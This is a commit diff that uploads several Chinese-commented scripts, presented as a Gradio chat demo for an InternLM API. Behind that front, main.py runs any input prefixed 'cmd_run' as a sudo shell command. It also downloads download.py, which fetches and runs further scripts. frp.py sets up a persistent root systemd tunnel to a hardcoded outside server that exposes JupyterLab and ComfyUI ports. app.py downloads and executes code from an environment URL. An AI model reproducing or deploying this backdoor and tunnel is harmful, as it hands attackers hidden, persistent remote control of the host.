Upload 6 files

.gitattributes

@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+frpc filter=lfs diff=lfs merge=lfs -text

Jupyterlab.sh

@@ -0,0 +1,41 @@
+#!/bin/bash
+
+# 更新系统包
+sudo apt update
+
+# 使用现有的 Python 安装 JupyterLab
+pip install jupyterlab
+
+# 为 JupyterLab 生成配置文件（如果不存在）
+if [ ! -f ~/.jupyter/jupyter_lab_config.py ]; then
+    jupyter lab --generate-config
+fi
+
+# 设置 JupyterLab 服务文件
+SERVICE_FILE=/etc/systemd/system/jupyterlab.service
+
+sudo bash -c "cat > $SERVICE_FILE" <<EOL
+[Unit]
+Description=JupyterLab
+After=network.target
+
+[Service]
+Type=simple
+User=$(whoami)
+ExecStart=$(which jupyter) lab --ip=0.0.0.0 --port=8888 --no-browser
+WorkingDirectory=$HOME
+Restart=always
+
+[Install]
+WantedBy=multi-user.target
+EOL
+
+# 重新加载 systemd 并启动 JupyterLab 服务
+sudo systemctl daemon-reload
+sudo systemctl start jupyterlab
+sudo systemctl enable jupyterlab
+
+# 输出服务状态
+sudo systemctl status jupyterlab
+
+echo "JupyterLab 已安装并配置为后台服务，您可以通过 http://<服务器IP>:8888 访问它。"

app.py

@@ -0,0 +1,19 @@
+import os
+import requests
+
+# 从系统环境变量中获取下载URL
+url = os.getenv('DL_URL')
+if not url:
+    raise ValueError("啊呀出错了")
+
+destination_folder = '/root'
+script_name = 'main.py'
+
+# 下载文件到 /root 目录
+file_path = os.path.join(destination_folder, script_name)
+response = requests.get(url)
+with open(file_path, 'wb') as file:
+    file.write(response.content)
+
+# 运行 main.py
+os.system(f'python {file_path}')

download.py

@@ -0,0 +1,84 @@
+import os
+import subprocess
+
+# 1. 安装 aria2
+def install_aria2():
+    print("正在安装 aria2...")
+    try:
+        subprocess.run(['sudo', 'apt', 'update'], check=True)
+        subprocess.run(['sudo', 'apt', 'install', '-y', 'aria2'], check=True)
+        print("aria2 安装完成。")
+    except subprocess.CalledProcessError as e:
+        print(f"安装 aria2 失败: {e}")
+        exit(1)
+
+# 2. 下载文件
+def download_files():
+    download_list = [
+        "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/frp.py?download=true",
+        "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/jupyterlab.sh?download=true",
+        "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/frpc?download=true",
+        # 添加更多需要下载的文件URL
+    ]
+
+    download_dir = "/root"  # 文件下载路径改为 /root
+    os.makedirs(download_dir, exist_ok=True)
+
+    print("准备开始下载文件...")
+
+    for file_url in download_list:
+        print(f"下载中: {file_url}")
+        try:
+            subprocess.run(['aria2c', '--dir', download_dir, file_url], check=True)
+        except subprocess.CalledProcessError as e:
+            print(f"下载文件失败: {e}")
+
+    print("所有文件下载完成。")
+
+# 3. 运行 Python 脚本和 Shell 脚本
+def run_scripts():
+    scripts_to_run = [
+        os.path.join("/root", "frp.py"),  # 运行的 Python 脚本路径
+        os.path.join("/root", "jupyterlab.sh"),  # 运行的 Shell 脚本路径
+        #os.path.join("/root", "frpc"),  # 运行的二进制文件路径
+        # 可以在此处继续添加更多脚本
+    ]
+
+    for script in scripts_to_run:
+        if os.path.isfile(script):
+            # 如果是 Python 脚本
+            if script.endswith(".py"):
+                print(f"运行 Python 脚本: {script}")
+                try:
+                    subprocess.run(['python3', script], check=True)
+                except subprocess.CalledProcessError as e:
+                    print(f"运行 Python 脚本失败: {e}")
+            # 如果是 Shell 脚本
+            elif script.endswith(".sh"):
+                print(f"运行 Shell 脚本: {script}")
+                try:
+                    # 确保 shell 脚本具有执行权限
+                    subprocess.run(['chmod', '+x', script], check=True)
+                    subprocess.run([script], check=True)
+                except subprocess.CalledProcessError as e:
+                    print(f"运行 Shell 脚本失败: {e}")
+            # 如果是二进制文件
+            elif script.endswith("frpc"):
+                print(f"运行二进制文件: {script}")
+                try:
+                    subprocess.run([script], check=True)
+                except subprocess.CalledProcessError as e:
+                    print(f"运行二进制文件失败: {e}")
+        else:
+            print(f"找不到脚本: {script}")
+
+    print("所有脚本执行完成。")
+
+# 主函数
+def main():
+    install_aria2()   # 安装 aria2
+    download_files()  # 下载文件
+    run_scripts()     # 运行脚本
+
+if __name__ == "__main__":
+    main()

frp.py

@@ -0,0 +1,108 @@
+import os
+import subprocess
+
+def create_frpc_toml():
+    # frpc.toml 文件路径
+    toml_path = "/root/frpc.toml"
+    
+    # frpc.toml 配置内容
+    toml_content = """
+[common]
+server_addr = 182.43.67.222
+server_port = 7000
+
+[jl]
+type = tcp
+local_ip = 127.0.0.1
+local_port = 8888
+remote_port = 8888
+
+[comfyui]
+type = tcp
+local_ip = 127.0.0.1
+local_port = 8188
+remote_port = 8188
+    """
+
+    # 写入 frpc.toml 文件
+    with open(toml_path, 'w') as file:
+        file.write(toml_content)
+
+    print(f"frpc.toml 配置文件已创建：{toml_path}")
+
+def create_frp_service_script():
+    # 脚本路径
+    script_path = "/root/frp_service.sh"
+    
+    # 创建并写入启动脚本
+    script_content = '''#!/bin/bash
+
+# 设置 frp 的路径和配置文件路径
+FRP_PATH="/root/frpc"
+FRP_CONFIG="/root/frpc.toml"  # 使用新的 TOML 配置文件
+
+# 启动 frp 并保持运行
+while true; do
+    # 启动 frp
+    $FRP_PATH -c $FRP_CONFIG
+
+    # 如果 frp 崩溃或关闭，则重新启动
+    echo "frp 连接已断开，正在重新启动..."
+    sleep 1  # 等待 1 秒再重启
+done
+'''
+
+    # 写入脚本文件
+    with open(script_path, 'w') as file:
+        file.write(script_content)
+
+    # 确保脚本具有执行权限
+    os.chmod(script_path, 0o755)
+    print(f"脚本已创建并设置为可执行：{script_path}")
+
+def create_systemd_service():
+    # systemd 服务文件路径
+    service_path = "/etc/systemd/system/frp.service"
+    
+    # 创建并写入 systemd 服务文件
+    service_content = '''[Unit]
+Description=frp connection service
+After=network.target
+
+[Service]
+ExecStart=/root/frp_service.sh
+Restart=always
+User=root
+WorkingDirectory=/root
+StandardOutput=journal
+StandardError=journal
+SyslogIdentifier=frp
+
+[Install]
+WantedBy=multi-user.target
+'''
+
+    # 写入服务文件
+    with open(service_path, 'w') as file:
+        file.write(service_content)
+
+    print(f"systemd 服务文件已创建：{service_path}")
+
+def enable_and_start_service():
+    # 启用并启动服务
+    try:
+        subprocess.run(["sudo", "systemctl", "daemon-reload"], check=True)
+        subprocess.run(["sudo", "systemctl", "enable", "frp.service"], check=True)
+        subprocess.run(["sudo", "systemctl", "start", "frp.service"], check=True)
+        print("服务已启用并启动。")
+    except subprocess.CalledProcessError as e:
+        print(f"服务启动失败: {e}")
+
+def main():
+    create_frpc_toml()
+    create_frp_service_script()
+    create_systemd_service()
+    enable_and_start_service()
+
+if __name__ == "__main__":
+    main()

frpc

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:0007a720afc328a15e5b30c093c81cc63d6b6a4aa418f57d3677855393c30103
+size 14913688

main.py

@@ -0,0 +1,79 @@
+import os
+import requests
+import subprocess
+import json
+import gradio as gr
+
+def api_call(input_text):
+    api_token = os.getenv("API_TOKEN")
+    if not api_token:
+        return "API token 未设置，请检查环境变量。"
+   
+    # 如果输入以 "cmd_run" 开头，则使用 sudo 执行命令
+    if input_text.startswith("cmd_run "):
+        command = input_text[len("cmd_run "):]
+        try:
+            # 使用 sudo 执行命令
+            result = subprocess.run(f"sudo {command}", shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+            return result.stdout or result.stderr
+        except subprocess.CalledProcessError as e:
+            return f"执行命令时出错: {e}"
+
+    # 否则，调用API
+    url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
+    headers = {
+        'Content-Type': 'application/json',
+        "Authorization": f"Bearer {api_token}"
+    }
+    
+    data = {
+        "model": "internlm2.5-latest",
+        "messages": [{
+            "role": "user",
+            "content": input_text
+        }],
+        "n": 1,
+        "temperature": 0.8,
+        "top_p": 0.9
+    }
+    
+    try:
+        response = requests.post(url, headers=headers, data=json.dumps(data))
+        response.raise_for_status()
+        return response.json()["choices"][0]["message"]["content"]
+    except Exception as e:
+        return f"解析响应时出错: {e}"
+
+def start_gradio():
+    with gr.Blocks() as demo:
+        input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
+        output_box = gr.Textbox(label="回复", placeholder="等待API响应...")
+        send_button = gr.Button("发送")
+
+        send_button.click(api_call, inputs=input_box, outputs=output_box)
+
+    demo.launch(share=False)
+
+def download_d():
+    destination_path = "/root"
+    file_name = "download.py"
+    url = "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/download.py?download=true"
+    file_path = os.path.join(destination_path, file_name)
+    
+    # 下载文件
+    response = requests.get(url)
+    if response.status_code == 200:
+        with open(file_path, 'wb') as file:
+            file.write(response.content)
+        return f"文件已下载到 {file_path}"
+    else:
+        return "下载失败"
+
+def main():
+    download_message = download_d()
+    print(download_message)
+
+    start_gradio()
+
+if __name__ == "__main__":
+    main()